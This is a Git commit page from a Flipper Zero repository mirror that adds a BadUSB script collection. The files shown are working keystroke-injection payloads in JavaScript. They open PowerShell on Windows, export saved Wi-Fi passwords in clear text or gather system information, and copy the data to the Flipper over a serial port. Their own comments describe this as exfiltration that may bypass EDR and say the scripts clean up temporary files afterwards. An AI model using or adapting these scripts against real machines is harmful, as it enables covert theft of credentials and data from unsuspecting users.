neil/Flipper
1
0
Fork 0
mirror of https://github.com/UberGuidoZ/Flipper.git synced 2026-09-18 16:01:31 +00:00
Code Issues Packages Projects Releases Wiki Activity

Added emptythevoid's BadUSB collection

Browse Source
This commit is contained in:
UberGuidoZ
2024-09-06 13:27:37 -07:00
parent 70856507e4
commit 24f5187975
56 changed files with 6279 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
BadUSB/emptythevoid-BadUSB/badusb-js/read_and_write_serial/read_from_flipper.js
+45
View File
@@ -0,0 +1,45 @@
// Title: Read Data from Flipper via Serial (adapted to JS)
// Author: emptythevoid
// Target: Windows 10, Windows 11
// Version: 1.0
// Category: PoC
// Desc: This script will read in a small payload from the Flipper's SD card
// over serial, possibly bypassing EDR. In this proof-of-concept, the "payload"
// is saved to the current user's Desktop
let badusb = require("badusb");
let notify = require("notification");
let flipper = require("flipper");
let dialog = require("dialog");
badusb.setup({ vid: 0x1234, pid: 0x1234, mfr_name: "Flipper", prod_name: "Zero" });
dialog.message("Read from Flipper Serial", "Press OK to start");
if (badusb.isConnected()) {
notify.blink("green", "short");
badusb.press("GUI", "r");
delay(500);
badusb.println("powershell");
delay(750);
badusb.println('$SUSB="USB\\\VID_0483&PID_5740";'); // the device ID of the Flipper.
// Commands to build the serial port
badusb.println('1..600|%{Try{$port = New-Object System.IO.Ports.SerialPort;$COM=("COM$(Get-PNPDevice -PresentOnly | Where{$_.InstanceID -match $SUSB -and $_.Class -eq "Ports"} | % name | select-string \d+ | % { $_.matches.value })");$port.PortName = $COM;$port.BaudRate = "230400";$port.Parity = "None";$port.DataBits = 8;$port.StopBits = 1;$port.ReadTimeout = 9000;$port.DTREnable = $True;$port.open();$SPATH="/ext/apps_data/testfile.txt";$OPATH="C:\\users\\$env:username\\Desktop\\outfile.txt";Start-Sleep -m 500;$port.DiscardInBuffer();$port.Write("storage read $SPATH `r`n");Start-Sleep -m 500;$outfile = $port.ReadExisting();$outfileformat = $outfile.split([string[]]"`r`n", [StringSplitOptions]::None);$outfileformat[2..($outfileformat.length -3)] | Out-File $OPATH;$port.close();echo "done";exit;}Catch{Sleep 1}};');
// Command to have powershell wait for Flipper to exit badUSB mode, identify which COM port it's connected to, and open a serial connection and write contents of $d.
// It will remove the temp information created earlier
//badusb.println('1..600|%{Try{$p=New-Object System.IO.Ports.SerialPort("COM$(Get-PNPDevice -PresentOnly | Where{$_.InstanceID -match $SUSB -and $_.Class -eq "Ports"} | % name | select-string \d+ | % { $_.matches.value })",230400,"None",8,"one");$p.open();$p.Write("storage write $SPATH `r`n");$p.Write($d);$p.Write("$([char] 3)");$p.Close();cd..;Remove-Item $env:temp/js2k3kd4nne5dhsk -Recurse;exit}Catch{Sleep 1}}');
badusb.quit(); //automatically quit badusb and await serial connection
notify.success();
} else {
print("USB not connected");
notify.error();
}
BadUSB/emptythevoid-BadUSB/badusb-js/read_and_write_serial/save_computerinfo_serial.js
+40
View File
@@ -0,0 +1,40 @@
// Title: Save To Flipper via Serial (adapted to JS)
// Author: emptythevoid and LupusE
// Credit to Gas Station Hot Dog for improvements in filename generation
// Target: Windows 10, Windows 11
// Version: 1.2
// Category: Data Exfiltration
// Desc: This script runs the Get-ComputerInfo command and saves it to
// the Flipper by it's serial interface, which may bypass EDR
// By default, data is stored on the Flipper in the apps_data folder
let badusb = require("badusb");
let notify = require("notification");
let flipper = require("flipper");
let dialog = require("dialog");
badusb.setup({ vid: 0x1234, pid: 0x1234, mfr_name: "Flipper", prod_name: "Zero" });
dialog.message("Save to Flipper Serial", "Press OK to start");
if (badusb.isConnected()) {
notify.blink("green", "short");
badusb.press("GUI", "r");
delay(500);
badusb.println("powershell");
delay(750);
badusb.println("$d=(Get-ComputerInfo|Out-String);");
badusb.println('$SUSB="USB\\\VID_0483&PID_5740";');
badusb.println('$SPATH="/ext/apps_data/exfil_data${env:computername}.txt";');
badusb.println('1..600|%{Try{$p=New-Object System.IO.Ports.SerialPort("COM$(Get-PNPDevice -PresentOnly | Where{$_.InstanceID -match $SUSB -and $_.Class -eq "Ports"} | % name | select-string \d+ | % { $_.matches.value })",230400,"None",8,"one");$p.open();$p.Write("storage write $SPATH `r`n");$p.Write($d);$p.Write("$([char] 3)");$p.Close();exit}Catch{Sleep 1}}');
badusb.quit();
notify.success();
} else {
print("USB not connected");
notify.error();
}
BadUSB/emptythevoid-BadUSB/badusb-js/read_and_write_serial/save_wifi_serial.js
+45
View File
@@ -0,0 +1,45 @@
// Title: Save Wifi To Flipper via Serial (adapted to JS)
// Author: emptythevoid and LupusE
// Credit to Gas Station Hot Dog for improvements in filename generation
// Target: Windows 10, Windows 11
// Version: 1.2
// Category: Data Exfiltration
// Desc: This script exfiltrates wifi profiles using export command by theb0ne
// the Flipper by it's serial interface, which may bypass EDR
// By default, data is stored on the Flipper in the apps_data folder
let badusb = require("badusb");
let notify = require("notification");
let flipper = require("flipper");
let dialog = require("dialog");
badusb.setup({ vid: 0x1234, pid: 0x1234, mfr_name: "Flipper", prod_name: "Zero" });
dialog.message("Save to Flipper Serial", "Press OK to start");
if (badusb.isConnected()) {
notify.blink("green", "short");
badusb.press("GUI", "r");
delay(500);
badusb.println("powershell");
delay(750);
//badusb.println("$d=(Get-ComputerInfo|Out-String);");
badusb.println('New-Item -Path $env:temp -Name "js2k3kd4nne5dhsk" -ItemType "directory"; Set-Location -Path "$env:temp/js2k3kd4nne5dhsk"; netsh wlan export profile key=clear;') // Exports key material to temp directory in user's profile
badusb.println('$d=Select-String -Path *.xml -Pattern "keyMaterial"|Out-String;') // Command to extract just the key material and save to $d
badusb.println('$SUSB="USB\\\VID_0483&PID_5740";'); // the device ID of the Flipper.
badusb.println('$SPATH="/ext/apps_data/exfil_data${env:computername}.txt";'); // path on the Flipper SD card to store data
// Command to have powershell wait for Flipper to exit badUSB mode, identify which COM port it's connected to, and open a serial connection and write contents of $d.
// It will remove the temp information created earlier
badusb.println('1..600|%{Try{$p=New-Object System.IO.Ports.SerialPort("COM$(Get-PNPDevice -PresentOnly | Where{$_.InstanceID -match $SUSB -and $_.Class -eq "Ports"} | % name | select-string \d+ | % { $_.matches.value })",230400,"None",8,"one");$p.open();$p.Write("storage write $SPATH `r`n");$p.Write($d);$p.Write("$([char] 3)");$p.Close();cd..;Remove-Item $env:temp/js2k3kd4nne5dhsk -Recurse;exit}Catch{Sleep 1}}');
badusb.quit();
notify.success();
} else {
print("USB not connected");
notify.error();
}
BadUSB/emptythevoid-BadUSB/badusb-js/save_computerinfo_serial.js
+40
View File
@@ -0,0 +1,40 @@
// Title: Save To Flipper via Serial (adapted to JS)
// Author: emptythevoid and LupusE
// Credit to Gas Station Hot Dog for improvements in filename generation
// Target: Windows 10, Windows 11
// Version: 1.2
// Category: Data Exfiltration
// Desc: This script runs the Get-ComputerInfo command and saves it to
// the Flipper by it's serial interface, which may bypass EDR
// By default, data is stored on the Flipper in the apps_data folder
let badusb = require("badusb");
let notify = require("notification");
let flipper = require("flipper");
let dialog = require("dialog");
badusb.setup({ vid: 0x1234, pid: 0x1234, mfr_name: "Flipper", prod_name: "Zero" });
dialog.message("Save to Flipper Serial", "Press OK to start");
if (badusb.isConnected()) {
notify.blink("green", "short");
badusb.press("GUI", "r");
delay(500);
badusb.println("powershell");
delay(750);
badusb.println("$d=(Get-ComputerInfo|Out-String);");
badusb.println('$SUSB="USB\\\VID_0483&PID_5740";');
badusb.println('$SPATH="/ext/apps_data/exfil_data${env:computername}.txt";');
badusb.println('1..600|%{Try{$p=New-Object System.IO.Ports.SerialPort("COM$(Get-PNPDevice -PresentOnly | Where{$_.InstanceID -match $SUSB -and $_.Class -eq "Ports"} | % name | select-string \d+ | % { $_.matches.value })",230400,"None",8,"one");$p.open();$p.Write("storage write $SPATH `r`n");$p.Write($d);$p.Write("$([char] 3)");$p.Close();exit}Catch{Sleep 1}}');
badusb.quit();
notify.success();
} else {
print("USB not connected");
notify.error();
}
BadUSB/emptythevoid-BadUSB/badusb-js/save_wifi_serial.js
+45
View File
@@ -0,0 +1,45 @@
// Title: Save Wifi To Flipper via Serial (adapted to JS)
// Author: emptythevoid and LupusE
// Credit to Gas Station Hot Dog for improvements in filename generation
// Target: Windows 10, Windows 11
// Version: 1.2
// Category: Data Exfiltration
// Desc: This script exfiltrates wifi profiles using export command by theb0ne
// the Flipper by it's serial interface, which may bypass EDR
// By default, data is stored on the Flipper in the apps_data folder
let badusb = require("badusb");
let notify = require("notification");
let flipper = require("flipper");
let dialog = require("dialog");
badusb.setup({ vid: 0x1234, pid: 0x1234, mfr_name: "Flipper", prod_name: "Zero" });
dialog.message("Save to Flipper Serial", "Press OK to start");
if (badusb.isConnected()) {
notify.blink("green", "short");
badusb.press("GUI", "r");
delay(500);
badusb.println("powershell");
delay(750);
//badusb.println("$d=(Get-ComputerInfo|Out-String);");
badusb.println('New-Item -Path $env:temp -Name "js2k3kd4nne5dhsk" -ItemType "directory"; Set-Location -Path "$env:temp/js2k3kd4nne5dhsk"; netsh wlan export profile key=clear;') // Exports key material to temp directory in user's profile
badusb.println('$d=Select-String -Path *.xml -Pattern "keyMaterial"|Out-String;') // Command to extract just the key material and save to $d
badusb.println('$SUSB="USB\\\VID_0483&PID_5740";'); // the device ID of the Flipper.
badusb.println('$SPATH="/ext/apps_data/exfil_data${env:computername}.txt";'); // path on the Flipper SD card to store data
// Command to have powershell wait for Flipper to exit badUSB mode, identify which COM port it's connected to, and open a serial connection and write contents of $d.
// It will remove the temp information created earlier
badusb.println('1..600|%{Try{$p=New-Object System.IO.Ports.SerialPort("COM$(Get-PNPDevice -PresentOnly | Where{$_.InstanceID -match $SUSB -and $_.Class -eq "Ports"} | % name | select-string \d+ | % { $_.matches.value })",230400,"None",8,"one");$p.open();$p.Write("storage write $SPATH `r`n");$p.Write($d);$p.Write("$([char] 3)");$p.Close();cd..;Remove-Item $env:temp/js2k3kd4nne5dhsk -Recurse;exit}Catch{Sleep 1}}');
badusb.quit();
notify.success();
} else {
print("USB not connected");
notify.error();
}